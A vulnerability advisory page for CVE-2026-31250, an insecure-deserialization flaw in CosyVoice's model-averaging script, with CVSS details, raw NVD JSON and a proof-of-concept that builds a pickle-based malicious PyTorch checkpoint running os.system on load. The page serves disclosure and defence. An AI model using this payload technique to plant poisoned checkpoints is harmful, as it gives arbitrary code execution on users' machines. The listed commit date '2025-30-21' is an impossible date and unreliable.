Security Vulnerability Report
中文
CVE-2026-31250 CVSS 7.3 HIGH

CVE-2026-31250

Published: 2026-05-11 17:16:20
Last Modified: 2026-05-12 20:16:33

Description

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its average_model.py model averaging tool. The script loads PyTorch checkpoint files (epoch_*.pt) for model averaging using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious checkpoint files within a directory. When a victim uses the tool to average models from this directory, arbitrary code is executed on the victim's system.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CosyVoice <= commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import torch import os import pickle # Malicious payload class class Exploit: def __reduce__(self): # Execute arbitrary command (e.g., creating a file) return (os.system, ('touch /tmp/pwned',)) # Create a malicious model file malicious_data = { 'state_dict': Exploit() } # Save the malicious checkpoint file with open('epoch_1_malicious.pt', 'wb') as f: torch.save(malicious_data, f) print("Malicious checkpoint created: epoch_1_malicious.pt") # --- Vulnerable code simulation in average_model.py --- print("\nSimulating vulnerable torch.load()...") # In the vulnerable code, it simply does: # checkpoint = torch.load(filepath) try: # This triggers the exploit because weights_only is NOT set to True checkpoint = torch.load('epoch_1_malicious.pt') print("Checkpoint loaded.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31250", "sourceIdentifier": "[email protected]", "published": "2026-05-11T17:16:19.950", "lastModified": "2026-05-12T20:16:33.087", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its average_model.py model averaging tool. The script loads PyTorch checkpoint files (epoch_*.pt) for model averaging using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious checkpoint files within a directory. When a victim uses the tool to average models from this directory, arbitrary code is executed on the victim's system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/FunAudioLLM/CosyVoice", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31250-35d1e13931888147a9a3e1c5e239a0a7", "source": "[email protected]"}]}}